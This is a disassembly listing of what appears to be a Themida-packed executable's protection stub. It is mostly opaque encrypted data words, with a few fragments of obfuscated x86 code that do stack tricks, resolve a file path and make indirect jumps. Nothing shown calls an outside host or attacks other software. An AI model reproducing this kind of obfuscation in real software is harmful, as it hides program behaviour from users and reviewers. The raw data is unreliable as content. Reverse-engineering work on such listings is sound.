dd 226B97E8h, 8B8175FBh, 0D169CFC5h, 0BC2218CEh, 0B7DF50B9h
dd 0C675FB22h, 4222D978h, 1D14AD7h, 0EE8623D1h, 0DD5F3F18h
dd 0A6A91307h, 0B209E650h, 0F9DE3064h, 34h, 0E0636A9Fh
dd 11C3C435h, 0FC4A69FBh, 0C2BA90F9h, 1EB4DC4Dh, 6DBB75FBh
dd 0CCF86BD5h, 475FB1Eh, 20774B2Bh, 67DE2F92h, 10Ch, 8EF0E8BEh
dd 8FCB358Bh, 0B4B7150Fh, 2951C24Bh, 306FE907h, 0ABA078E2h
dd 888BE9E3h, 7DEF9A32h, 4539C0EEh, 0EE82D8DBh, 66D0D4A5h
dd 75D3CD83h, 97FFF4CAh, 0BE14A2Dh, 0F5534D17h, 1049CF2h
dd 0D322A4AFh, 740C375Bh, 0DA38320Ah, 0D35A62Fh, 1C6FE9E8h
dd 5BE664CEh, 6FE9E3EBh, 93318F89h, 0A04BA9A3h, 6B6ED4CAh
dd 5FC8AB15h, 0EC3D65D6h, 24C6FE9h, 0BC2BE8Bh, 3CA63EA1h
dd 8A35CCBFh, 0FBA06019h, 7D1B6969h, 0B35EE5E8h, 0D4CBA12Ah
dd 60B5DD70h, 0D1CB75FBh, 1B1A7073h, 5AF063CDh, 19701002h
dd 8F894B43h, 40969931h, 7AADF7D6h, 6CDB315Fh, 6F45F088h
dd 8474127Ah, 6935278Fh, 0E2794346h, 2715AFFh, 0CCBF0000h
dd 0DED2C260h, 0EEE6D674h, 8FEEE8Ch, 1F1404A2h, 4DAC19B7h
dd 0E482EADFh, 0FB99FDF4h, 14B2120Bh, 2ECC2A24h, 355DCE2Fh
dd 44760165h, 0EA5CDF31h, 0B47405C5h, 0A37BE56Ah, 0B8A846AEh
dd 6EC260BEh, 2B8F865Ch, 5A4944C1h, 0A3F9FC66h, 14EE600Bh
dd 88E8E17Fh, 249B2F85h, 5AE54F63h, 0FBC7E8E9h, 0D0D32169h
dd 0FBA8537Fh, 0D2B28B75h, 0CD3EC750h, 75FBA8A5h, 0ABD366B4h
dd 0B275FBA8h, 0C61DFA64h, 0DDE301Bh, 0B9h, 0B7150FB3h
dd 4109FEB4h, 93E5E848h, 92B53A86h, 952DC542h, 2C1178EAh
dd 8124D048h, 73E33417h, 16FE9FBh, 1B0BA907h, 96B6321h
dd 0B4B71911h, 68C3C65Eh, 0C233DE65h, 69FC2109h, 8124C210h
dd 5A52B2ABh, 0A6FCFF63h, 35CCBF3Ch, 6890018Ah, 7775FBE5h
dd 0C334BF29h, 70108C8Ch, 26984391h, 0D161C328h, 911C8617h
dd 0C05EC6BBh, 8173DBD0h, 79432313h, 6C9C4124h, 0C4000001h
dd 0D7C765D1h, 0EBDB79E3h, 3F391F3h, 1909A70Dh, 0B11EBC24h
dd 87EFE456h, 9E02F9E9h, 0B7171000h, 0D12F2919h, 62D33433h
dd 7601663Ah, 0FDC2E41h, 7114B21Ah, 0D43EA69Bh, 6A402FCh
dd 0B7150FB2h, 0A604FEB4h, 0E9787308h, 9510CC3Eh, 20914B4Dh
dd 5DBA2BB6h, 69FBC1h, 3CD5312Ah, 50946B9Ch, 0D22427BFh
dd 4CB48B85h, 0FB65FDC9h, 4D23CE1Ch, 6757F553h, 0B10C0F6Dh
dd 0F37C27BAh, 0B165F86Ah, 5E302B14h, 0FBF3A3CBh, 33B21575h
dd 0FBA748E9h, 9203AEFCh, 75FB6A6Ah, 46B92371h, 7003A82Bh
dd 0FD61582Eh, 7466B493h, 793FD60Eh, 0B8852A0Dh, 78000000h
dd 8B7B1985h, 9F8F2D97h, 0B7A745A7h, 0CDBD5BC1h, 65D270D8h
dd 3BA3980Ah, 52B6AD9Dh, 6BCBC4B4h, 85E3DDCDh, 1687E8E7h
dd 760167EEh, 6A98EAFDh, 28868063h, 6574E590h, 0A869F145h
dd 0A7A1575Ah, 0C1BBAB49h, 460F6063h, 5E351D4Ah, 4D030664h
dd 0D0ECEF59h, 29C83717h, 0C9C39272h, 0AFB2120Bh, 0EDEDC559h
dd 42F4179Eh, 788DFFAAh, 0B8942FF4h, 34D755BFh, 9C06645Eh
dd 696CCAC4h, 0FEF7BDB3h, 4D03069Eh, 38EEF157h, 7BD8DB43h
dd 0DC75E4C4h, 746E3D1Dh, 36F96B16h, 0F3865E8h, 197B736Bh
dd 0D856C016h, 8D90EEE8h, 0AE8h, 865C9600h, 0D42A2D8Dh
dd 0FDC186Ah, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh
dd 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h
dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 89522404h
dd 4C281E2h, 83000000h, 148704EAh, 2C895C24h, 6CCF6824h
dd 34890000h, 461F6824h, 2C8B0618h, 4C48124h, 83000000h
dd 248904ECh, 24048324h, 0BB535E04h, 8, 8F55F301h, 34FF5B03h
dd 0C4835E24h, 242C8B04h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54EA15
; ---------------------------------------------------------------------------
dd 0F2871434h, 0E167ED52h, 6146B8BEh, 0C5030618h, 7185C650h
dd 47061228h, 38172568h, 0B1B5FFCFh, 8D061203h, 123B5D85h
dd 8BD0FF06h, 31858DD8h, 5006120Ah, 10468h, 0C6D3FF00h
dd 12287185h, 0BF685306h, 0FF8307F8h, 1203B1B5h, 5D858D06h
dd 0FF06123Bh, 0F38589D0h, 83061843h, 120D99BDh, 840F0006h
dd 0Bh, 34E59D8Bh, 5E90612h, 0BB000000h, 0
; ---------------------------------------------------------------------------
push 100h
lea esi, [ebp+61843F7h]
push esi
push ebx
call dword ptr [ebp+6121DB1h]
lea esi, [ebp+61843F7h]
add esi, eax
jmp loc_5ACC6D
; ---------------------------------------------------------------------------
loc_5ACC6C: ; CODE XREF: Themida_:005ACC79j
dec esi
loc_5ACC6D: ; CODE XREF: Themida_:005ACC67j
cmp byte ptr [esi], 5Ch
jz loc_5ACC7F
cmp byte ptr [esi], 2Fh
jnz loc_5ACC6C
loc_5ACC7F: ; CODE XREF: Themida_:005ACC70j
mov byte ptr [esi], 0
lea eax, [ebp+61843F7h]
push eax
call dword ptr [ebp+61843F3h]
pop eax
jmp eax
; ---------------------------------------------------------------------------
dw 0F0Bh
dd 5B2141E0h, 7B872BBDh, 17797884h, 8D8D4A49h, 6186326h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B6C35747h
dd 0C78B66C5h, 9A18D89h, 0C7F80612h, 12050585h, 664C06h
dd 0ABF6600h, 0D985C7C0h, 6121Bh, 0FF000000h, 1206ADB5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0A195894Dh, 0FF061207h, 121B3195h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 1BBB667Eh, 0FF006A75h, 1219CD95h, 0EBC08B06h, 2A55C14Eh
dd 70D4DC15h, 0F71B15A3h, 653C7276h, 0E094657Dh, 24F922BCh
dd 0E6CCBD33h, 0B8759B85h, 378092A6h, 96B6AA8Fh, 0C6507D1Eh
dd 887941F6h, 41ECB229h, 84922217h, 46CE7579h, 1A98625h
dd 5B2AFB81h, 33A3A67Bh, 6893D772h, 0E84C6147h, 11h, 0A42A7AB1h
dd 640CBEA5h, 0F0BAC6BCh, 603E9EDBh, 5DB58BF7h, 5A06121Ch
dd 9171BB60h, 0BA6647C1h, 81611B07h, 6256C2h, 0E4BB6600h
dd 0B996h, 81660000h, 8B1B46CBh, 10E90A04h, 0C8000000h
dd 0FB487312h, 34BA42C3h, 7644A220h, 81AB7891h, 0FC1BD6E8h
dd 9B5330Eh, 81061221h, 7E27DCC0h, 19B58B79h, 81061212h
dd 16A2EFF0h, 820F501Ch, 0Ch, 6880Fh, 0BD8B0000h, 6120E91h
dd 0F80A048Fh, 6810Fh, 0BD890000h, 6120DA5h, 2B03E983h
dd 1220E9B5h, 6E84906h, 4B000000h, 51E6E76h, 4860F52h
dd 66000000h, 5B97A5BFh, 9E68F981h, 850FFFFFh, 0FFFFFF7Bh
dd 21BDB58Bh, 8D8D0612h, 618650Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0F2C35545h, 89FCA33Dh, 1209A18Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 78E1D9D5h, 1CDB3E9Bh, 858B39E8h, 61234B1h
dd 50585C7h, 6D480612h, 8B660000h, 0C1B589C1h, 0C7061205h
dd 121BD985h, 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 8FF04E44h, 0C617454Dh
dd 3DBD8B93h, 0FF06121Dh, 122DB9B5h, 12E95006h, 0AA000000h
dd 0FCB0B6ACh, 0A86DC4F5h, 0F4F229C8h, 0F440122h, 95FF5F20h
dd 6121B31h, 2D75958Bh, 6A0612h, 19CD95FFh, 0C08B0612h
dd 1EA24FEBh, 0C2A9F9D1h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh
dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h
dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h
dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh
dd 6E821h, 29DB0000h, 0CA151033h, 8B5EE78Ah, 1213B98Dh
dd 45C68106h, 8B000062h, 12237D95h, 0AEB4BB06h, 0EB811860h
dd 18609659h, 5860Fh, 81660000h, 0FF5CF6D8h, 1FCC8036h
dd 0C5B5895Fh, 81061226h, 5DAE8F7h, 14E817h, 68CE0000h
dd 0AAF23B8h, 0F7F42D93h, 0F5D10209h, 0D7ECD87h, 858B1B25h
dd 61231A5h, 76F78158h, 9676687h, 1217E995h, 5DEF8106h
dd 81753086h, 7D9769F0h, 0E860572Bh, 5, 8D8B4E21h, 0F5850BA1h
dd 5A06121Bh, 2299958Bh, 8F610612h, 0BD8D2B06h, 83061226h
dd 952302EEh, 6121B8Dh, 0BD894E4Eh, 6120509h, 0F01EB83h
dd 1A85h, 0E0816600h, 1CE907DAh, 0D5000000h, 7889BB8Dh
dd 9F7F7CF3h, 0FC920A2Ch, 0F52BF8DFh, 0FFFF5AE9h, 1F4E0DFFh
dd 0E88F5294h, 5, 3F340784h, 199589EEh, 5E061230h, 2C498589h
dd 0C6810612h, 6763h, 0C92B20B2h, 5890Fh, 81660000h, 0FF7B42C0h
dd 58B83134h, 5B1B48BFh, 2DC19589h, 0EB810612h, 1FB777B4h
dd 8170D080h, 0A45287F3h, 0B70F5073h, 0EB815FC3h, 651B3C52h
dd 68C0Fh, 958B0000h, 6121E95h, 8B0E1C89h, 0FFB70FC6h
dd 0B04E983h, 122D2DBDh, 18F98106h, 0FFFFF99h, 0FFFFAE85h
dd 0E98531FFh, 0E906122Fh, 37h, 6EFCCE6h, 0E61D8C93h, 2E81E89Dh
dd 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h
dd 5 dup(0)
dd 0E9000000h, 6DFh, 18683668h, 18EBE906h, 868FFFAh, 0E9061869h
dd 0FFFA18E1h, 1869AD68h, 18D7E906h, 0AB68FFFAh, 0E906186Ah
dd 0FFFA18CDh, 186B6168h, 18C3E906h, 5068FFFAh, 0E906186Ch
dd 0FFFA18B9h, 58F66255h, 6C0A7468h, 8422847Ch, 9A389E94h
dd 0AF4DB5AAh, 8075E742h, 938A7A18h, 0A8A1912Fh, 0C0BAAA48h
dd 64C5C462h, 16ECBF3h, 6DBFD276h, 3620h, 150FCE00h, 4FEB4B7h
dd 63C5BD93h, 0E907A8D0h, 0D169B76Fh, 6D8FB426h, 0FF02605Ah
dd 699315A9h, 4DF06ED8h, 0B21C8077h, 0E953133Fh, 0D030296Fh
dd 0C1B98F32h, 6AB9F55Fh, 0C435E063h, 69FB2D8Fh, 6D0180F2h
dd 0B4188138h, 1A1D6B4Ah, 0FBE59DC9h, 1CFCD575h, 3058F148h
dd 24A38DEh, 0ADDE0000h, 0C85B5287h, 2F0FAC1Dh, 0B0FE69FBh
dd 0C94663B6h, 3239B1D9h, 5E9304AFh, 6F2C37BCh, 0DFB51E21h
dd 0A01D87E5h, 0FA6B16ADh, 2E2B1FA1h, 0B6F663Ch, 0E1C7EF60h
dd 88D63224h, 46F13F1Eh, 0AB157970h, 0F2504A20h, 0E6DBB154h
dd 2DC5251Eh, 93F1EBC3h, 0DBEF4A1h, 0BD6245B7h, 4F7h, 48E65245h
dd 5CFA6458h, 7412746Ch, 8A288E84h, 9F3DA59Ah, 7065D732h
dd 837A6A08h, 9891811Fh, 0B0AA9A38h, 54B5B452h, 16FBBE3h
dd 5DAFC276h, 0B4B7150Fh, 4BBC5259h, 6FE90723h, 9944DC2Ah
dd 3D299E10h, 79E1CC60h, 7408605Bh, 0A7462C1h, 0FBC2EA97h
dd 84794F69h, 85D3B21Ch, 1C9F95E7h, 0EBEE4C46h, 0BFAE2B95h
dd 6B087924h, 9A700DEBh, 4F021A50h, 0BA3D6F0h, 0D1FBBE11h
dd 616CF774h, 42C537E2h, 0D5AEF92Bh, 73E46FD9h, 2983D3Eh
dd 0A3FE014Fh, 0FD6E19A8h, 88BB4A4h, 0FB2394F5h, 6D08834Ch
dd 0A2DE8EADh, 2AD8D782h, 9C34CC36h, 0C3211BF1h, 0D4108225h
dd 0F9FEA1C7h, 6D673FA9h, 4F52BAAFh, 1C6F61F9h, 9E0AF5Dh
dd 4258126h, 24170000h, 362A1AB8h, 463E2ECCh, 605646E4h
dd 776C5CFAh, 0A504710Fh, 3CDA4237h, 53F1554Ch, 6C0A6A63h
dd 8624827Ch, 8DB52687h, 9C760170h, 0D35C3789h, 0E9073A62h
dd 0E4F7416Fh, 505C93AFh, 2D056F07h, 0B82AD533h, 0F5D357A6h
dd 593CA6A8h, 0C9740FFEh, 0FB8B6B58h, 1ACFA69h, 7CDF0778h
dd 0A4EE75FBh, 4B6A3333h, 0FC66FE06h, 0FFE2E97Eh, 4BA1A408h
dd 959708B3h, 470043Bh, 0C4E20A7Bh, 9BE96FF3h, 59045231h
dd 8D2B8983h, 4245A39Dh, 0B25DE4E7h, 5CB9441h, 6557A56Ah
dd 7330E414h, 806D12F5h, 0BC000003h, 0CFBF5DC9h, 0E3D371DBh
dd 0FBEB89EBh, 11019F05h, 0A916B41Ch, 7FE7DC4Eh, 96FAF1E1h
dd 0AF0F08F8h, 0C9272111h, 5ACB2C2Bh, 76017032h, 5CD42639h
dd 0C02A9086h, 8D90EEE8h, 0AD0B224h, 466A1189h, 756C5FDCh
dd 2C201880h, 0E7F2AC2h, 69FBCF05h, 8528C614h, 0C155B7AFh
dd 0E5B57986h, 61289272h, 1A7h, 6D6137C0h, 17AA0003h, 75FBB6EFh
dd 0A46B0FEh, 3A62D35Ch, 416FE907h, 0EA4F89F3h, 557DEE77h
dd 646FE907h, 0C3271E16h, 0F2D1DC59h, 419396FCh, 92BDE48Eh
dd 952DC505h, 0B91D14EAh, 0B653C44Fh, 6769FC06h, 60CC1F19h
dd 43A0E8E2h, 640F796Dh, 170ECBF3h, 1A84D263h, 6813AE9Dh
dd 293DE2F7h, 0C8C1975Dh, 0A50F6568h, 1A7578C6h, 0FE59013h
dd 0C14CB616h, 38B0F750h, 0ACA47A5Fh, 0B301E04Ah, 0DA383208h
dd 0CCC3993Ch, 2C26FE68h, 5093DCCEh, 7F628620h, 282DAh
dd 5BC7BA00h, 6FD9CDBDh, 87E9E1D1h, 9D03F9E9h, 0B21A0FFFh
dd 0DA48A714h, 0EFDF7DE5h, 6F694F8h, 1F0FAD0Dh, 2A29C725h
dd 713058C9h, 2C3F7601h, 0B7150FDAh, 84D94BB4h, 0FD4CB3A1h
dd 1D108DF7h, 0D05DB86h, 45B641ABh, 69FB3D98h, 0DB0374FDh
dd 0E275FB42h, 0FD4B2A94h, 0F0E6BC5Fh, 0CBCE342Ah, 84DADD75h
dd 0F558E01Ah, 4FC06BF6h, 700D69B2h, 0C81B1563h, 0E10901C1h
dd 10D2CAA0h, 5FB5B816h, 0EDE05DC7h, 253AAB56h, 4F8DD31h
dd 5558B3B6h, 59B223CEh, 14F2F045h, 7CE6443Eh, 0CEA44F9Dh
dd 0E8D876D4h, 0D23C30EEh, 0EFE179CFh, 0EA62E57Eh, 0CCE3886Bh
dd 70000001h, 8373117Dh, 9787258Fh, 0AF9F3D9Fh, 0C5B553B9h
dd 5DCA68D0h, 339B9002h, 4AAEA595h, 63C3BCACh, 7DDBD5C5h
dd 0E7FE0DFh, 760172E6h, 0F90E2F5h, 59B4B715h, 4E24CF52h
dd 9FDF555h, 39AA359Fh, 69FB1E4Ch, 978793DDh, 52042C9Dh
dd 0BD0B75FBh, 0F7F64C29h, 5C6DC15Fh, 73A62D3h, 0F3416FE9h
dd 82010C89h, 605E66D7h, 780169F1h, 16DDF07h, 9DFBF576h
dd 0F745449Ah, 0B560AE8Dh, 0E987E5DFh, 15797046h, 7BD9D3ABh
dd 332E1D78h, 7FD5D83Ch, 272A9287h, 58E39D1h, 16D6C94h
dd 0CFC57376h, 78106669h, 0BA248A80h, 0C6C4BE2Fh, 5537009h
dd 2C8A845Ah, 46A49E8Eh, 4BE5E843h, 0E907B2DAh, 749C0D6Fh
dd 7B6FE907h, 48E02E2Dh, 166B2C9Dh, 20F669FBh, 69BFC22Ch
dd 38F907D5h, 9D07785Eh, 657E70BEh, 0F07336F4h, 0DD680Dh
dd 6C5F0000h, 7E726200h, 8E867614h, 0A89E8E2Ch, 0BFB4A442h
dd 0ED4CB957h, 84228A7Fh, 9B399D94h, 0B452B2ABh, 0CE6CCAC4h
dd 0D5FD6ECFh, 0E4760173h, 636A7FD1h, 0D6C435E0h, 5969F160h
dd 0C99F080Bh, 29016BD5h, 4333D12Fh, 3F67D849h, 0B976016Dh
dd 8431267Ah, 62B0AF78h, 0CE6D9FCEh, 14AC27F9h, 9EDCC011h
dd 3B327537h, 0FA6BD4D7h, 76D85FD2h, 9D938BD9h, 17D03437h
dd 7229C837h, 6BC9C392h, 8DF5EAC0h, 4CCA348Ah, 80F1625Ch
dd 76D85F58h, 7E811967h, 92038C15h, 76D85F6Ah, 68902371h
dd 7776D85Fh, 0F3A9529h, 43D31071h, 0A50B01D9h, 8FF7ECA2h
dd 7CDED68Ch, 83632279h, 49D27B14h, 0D80DB0D8h, 771BF76h
dd 0BDB78666h, 0D7D1C15Fh, 0FEF8CE79h, 0AE5336A0h, 3, 0F59955Ch
dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E18951h
dd 4C1h, 4BE5600h, 29000000h, 0C875EF1h, 54685C24h, 89000018h
dd 8956241Ch, 4C681E6h, 81000000h, 4EEh, 24348700h, 2404895Ch
dd 0F61FFB68h, 0D3F75B53h, 4BEBD14Bh, 7746C381h, 8B54B013h
dd 0C4812404h, 4, 9B85053h, 295F7660h, 58042444h, 8108408Fh
dd 60090840h, 34FF5F76h, 0C4815824h, 4, 52241C8Bh, 0C281E289h
dd 4, 8704C283h, 0E95C2414h, 0FFFA1225h, 1CEF6DDh, 0D70ABB78h
dd 3E98891Bh, 0B8B338BAh, 6186D52h, 0E0FFC503h, 233A1C15h
dd 6145722Ah, 3D202255h, 10A15D45h, 413047AFh, 4BDD3ADCh
dd 20A4FBB6h, 4942FB60h, 9BEA6FFh, 43D676A0h, 73D4D0C9h
dd 27602BDFh, 1509196Fh, 431ED8FEh, 2D7F7E0Dh, 3BC3E5A5h
dd 4F58454Dh, 3ACE7373h, 22F5DF6Dh, 6A76CDADh, 5F6A7050h
dd 241FFD6h, 30FD53A8h, 7D64BA8Bh, 414CAD57h, 45C1BA64h
dd 0E0DBC59h, 0CE8h, 0BEE86B00h, 68354A59h, 0B6CCED09h
dd 5BCF8B90h, 0E524D081h, 0C38118D4h, 6886h, 0EE9F860h
dd 63000000h, 417674E7h, 54A8B9F9h, 8AD5542h, 0FF2B614Ah
dd 34FFC68Bh, 0AE91Fh, 4D5F0000h, 18ADE515h, 0F9A44EB0h
dd 0CB8B665Eh, 0DE4AC681h, 605169FAh, 815861FCh, 0FAB265EEh
dd 0A1C98022h, 0F3BBEE81h, 8166086Bh, 56B4A7E1h, 0FE9h
dd 0E7201F00h, 0CC41F32Bh, 3E63AA4Ah, 0E4F2B9D3h, 663B048Fh
dd 6693CA81h, 83D38B66h, 816604EFh, 8148D1EAh, 0FF9848FFh
dd 1C850FFFh, 66000000h
dd 2CE9D18Bh, 0AC000000h, 0F3CDBA35h, 2CD4B823h, 92B70669h
dd 0A9F1A207h, 66B89C8Ah, 73E9D38Bh, 0EDFFFFFFh, 1F745EF6h
dd 14236FBAh, 607F6E4h, 0E94A5C35h, 30h, 3AFE79EDh, 0Bh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5ADE00
; ---------------------------------------------------------------------------
push 6187075h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61870F3h
jmp loc_54EA15
; ---------------------------------------------------------------------------
db 68h ; h
db 0FFh
db 71h ; q
db 18h
db 6
db 0E9h ; é
db 72h ; r
db 10h
db 0FAh ; ú
db 0FFh
; ---------------------------------------------------------------------------
pushf
test eax, 0BBAF9F3Dh
push ecx
mov bl, 0C3h
retf
; ---------------------------------------------------------------------------
db 69h, 0CBh, 0DBh
dd 0F1E17FE5h, 89F694FCh, 5FC7BC2Eh, 76DAD1C1h, 8FEFE8D8h
dd 0A90701F1h, 3AAB0C0Bh, 76017612h, 0DC650619h, 176436Bh
dd 92FC4A76h, 521A0F56h, 0A0F6F959h, 0C69C0508h, 30D96DCDh
dd 28936776h, 88825AC4h, 0C26DD5CAh, 0E9FD2951h, 4AE2306Fh
dd 2D1417ACh, 923DD533h, 0FBFAC021h, 0D07BC969h, 9FA200FAh
dd 0FA9DC536h, 5EAC75FBh, 76D4CEC6h, 0D0B31D73h, 0FBFA537Fh
dd 0D2B28B75h, 306DA7FEh, 288EEDEh, 0AD940000h, 0CF525982h
dd 0CEC59B24h, 0A711676Ah, 0FB2E9734h, 3E388669h, 9E8946EBh
dd 51451B98h, 0E38EE4E7h, 60554A72h, 9903516Bh, 0E792111Ch
dd 72539976h, 979AE865h, 7B2313Ch, 608B1596h, 3BE63467h
dd 6F0D6B65h, 3527857Fh, 7DD22B73h, 0A8EC9174h, 84000002h
dd 97872591h, 0AB9B39A3h, 0C3B351B3h, 0D9C967CDh, 71DE7CE4h
dd 47AFA416h, 5EC2B9A9h, 77D7D0C0h, 91EFE9D9h, 2293F4F3h
dd 760177FAh, 5C9CEE01h, 0C22C8E86h, 0D8BF4645h, 38738F17h
dd 0F478A011h, 39876FE9h, 5D85F6A1h, 6C6FE9F4h, 6ADB861Eh
dd 69F2570Ch, 0B48A3583h, 23AC57BFh, 1898AB2h, 0D9439176h
dd 0E766B5Bh, 7B9BBA0Bh, 7F79962Fh, 23F72F21h, 81647F62h
dd 22ADCh, 0A30F0200h, 0B7211505h, 0CF312919h, 0E54B4131h
dd 0FA625747h, 2290EF5Ch, 3727C52Dh, 4E3EDC40h, 6757F555h
dd 72710F6Dh, 7778A011h, 74877601h, 0E0636A22h, 6A66C435h
dd 5BA969F1h, 76DB0758h, 3A137601h, 0EE2F865Ah, 6776DE35h
dd 1C000001h, 0CB7150Fh, 7EA1283h, 0A3F16FE9h, 0A6A05639h
dd 1615AA48h, 8152CA8Fh, 0A651CF26h, 0E9190D35h, 36CE1C6Fh
dd 305D1A8Bh, 1E6C69FBh, 109ECA1Bh, 0FDD675FBh, 84299B1Dh
dd 8A90B3BBh, 38B72FC3h, 0BBB58AE4h, 0DF1D7451h, 2A64DE2Fh
dd 0A000000h, 2C8E865Ch, 0BB4645C2h, 119E9F10h, 1AF69FBh
dd 4AA0A30Dh, 325EAFB2h, 6A75FB1Eh, 86DDB191h, 0CDDE2F91h
dd 8Ch, 0B7150F73h, 0A109FEB4h, 90EEE89Eh, 0B5170FE5h
dd 0FF25CB2h, 63015F59h, 0E902DAD8h, 24827C6Fh, 67FAF186h
dd 88F2E6BCh, 8222931Eh, 8969FDB2h, 0C5BA903Bh, 0DACFBF5Dh
dd 0F19C8072h, 0C8AB7334h, 11E23h, 0AF1B0E00h, 0C32D2111h
dd 0DB3D3525h, 0F1574D3Dh, 66E6353h, 2E9CFB68h, 4333D139h
dd 5A4AE84Ch, 73630161h, 7E7D1B79h, 7884AC1Dh, 788B7601h
dd 8F865C26h, 0F4E9C12Bh, 0D94BEE8Ch, 0B3CFC998h, 0A27AE471h
dd 58AC4AA8h, 3A62D35Ch, 416FE907h, 2825FF3h, 0B35A80B9h
dd 19777149h, 0A8666016h, 0F3494CB2h, 2528BD5Bh, 2E81F39Eh
dd 666B5D54h, 0BA2BB620h, 69FC06E1h, 592FDA28h, 0BB5EFC64h
dd 0FD99C132h, 52A075FBh, 0FD4975E8h, 655F75FBh, 84796907h
dd 0A79B711Ch, 2B137C41h, 0BE56ED25h, 18FB65BBh, 7673h
dd 636A2100h, 62C435E0h, 0AD69F16Ah, 0EADEB45Fh, 7D331680h
dd 0E4872583h, 7535E72h, 73DDC0AAh, 4043A19Bh, 2728EDEFh
dd 0E1C17859h, 1CBA1812h, 0D1D4322Ch, 0BCBF251Bh, 0A7AA1006h
dd 1081FCF1h, 0AAE717E8h, 0E11A9F7h, 84F3D34Ch, 726C42EBh
dd 0DF8AAA18h, 79F05F4h, 4D1CFC9Dh, 6757F553h, 5BB5AF6Dh
dd 0C5F67839h, 0D5D87099h, 3FE4E77Fh, 3, 0F5995EDh, 0F7ADB01Ch
dd 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h
dd 7F35389Eh, 6C222587h, 4D0B0E78h, 81E38953h, 4C3h, 4EB8100h
dd 87000000h, 895C241Ch
; ---------------------------------------------------------------------------
sub al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 6D0Ch
mov [esp], ebx
push esi
push edi
push 2FB9452Bh
pop edi
shr edi, 4
sub edi, 0C8BE4EEAh
mov esi, edi
pop edi
and esi, 2EDB6B60h
sub esi, 59D051FCh
dec esi
xor esi, 0D65080EEh
mov edx, esi
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push eax
mov eax, edx
mov [ebx+8], eax
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_54EA15
; ---------------------------------------------------------------------------
dw 21Fh
dd 0AA5AED17h, 54AA65D3h, 4EDAB044h
; ---------------------------------------------------------------------------
loc_5ADE00: ; CODE XREF: Themida_:005AD980j
mov eax, 6187342h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 85h, 56h, 0CBh
dd 0DD2B8367h, 1BED0F47h, 0A16F6918h, 9643977Dh, 7E55CB19h
dd 1378D4Bh, 73A16116h, 0E9269A25h, 909CE28h, 0CFBE5D51h
dd 4524147Ah, 333BCE23h, 5D14F730h, 6C8D334Fh, 7254A67Bh
dd 6580EB76h, 0E28D8D42h, 89061874h, 1218C995h, 0A18D8906h
dd 6A061209h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0E0C6C357h, 3F1A81BEh, 89490E74h
dd 121AA59Dh, 585C706h, 0CC061205h, 66000060h, 0C75CEBB8h
dd 121BD985h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 2CED6945h, 0B5FFD2B0h
dd 6120CD1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0D6C35646h, 11B58B29h, 0FF06120Eh, 121B3195h, 0FF006A06h
dd 1219CD95h, 0EBC08B06h, 6AFAD869h, 978AD21Bh, 0EAA1C2F2h
dd 0CB20936Fh, 4FE862B4h, 255B1C1Ch, 0B55F899h, 0AD11679Dh
dd 494ECF8Ch, 0CA84F5BCh, 1DAFEC00h, 99179E52h, 0AF5BBE5Ah
dd 43502012h, 0DA88F490h, 1C5D46B6h, 0C40FA8CAh, 6B8F7E3Fh
dd 1D6E8700h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh, 0AB23D44Dh
dd 0E89F1B7Dh, 85651462h, 0C70E4A98h, 14E807E5h, 0B4000000h
dd 0FAACEE16h, 0C84952D6h, 78E59EB0h, 40A765Fh, 8BCEB407h
dd 120C75B5h, 8B665B06h, 0B8C381F0h, 0E900005Ah, 10h, 415DFD1Bh
dd 0A8660796h, 0F7D963FBh, 8A9F2DD4h, 167968h, 0D9D0100h
dd 5F06122Bh, 291D858Bh, 33FF0612h, 6880Fh, 0B58B0000h
dd 612013Dh, 0F3CE8159h, 817B0803h, 5E8AC8E9h, 5AE98114h
dd 814D88CBh, 784047E9h, 5E94Bh, 61F00000h, 51D40DA7h
dd 21998D89h, 38F0612h, 303EB83h, 120431B5h, 0BE94B06h
dd 0CC000000h, 4FD66171h, 0F266C13Ah, 0F4FBF7Bh, 1185h
dd 0D9D8900h, 0E9061201h, 27h, 1A391AD3h, 840FB1C7h, 6
dd 7349DE81h, 83E94C21h, 0E2FFFFFFh, 3FB6E514h, 0C542E470h
dd 1DCCA2D8h, 8DFBCA61h, 1877098Dh, 5E906h, 95220000h
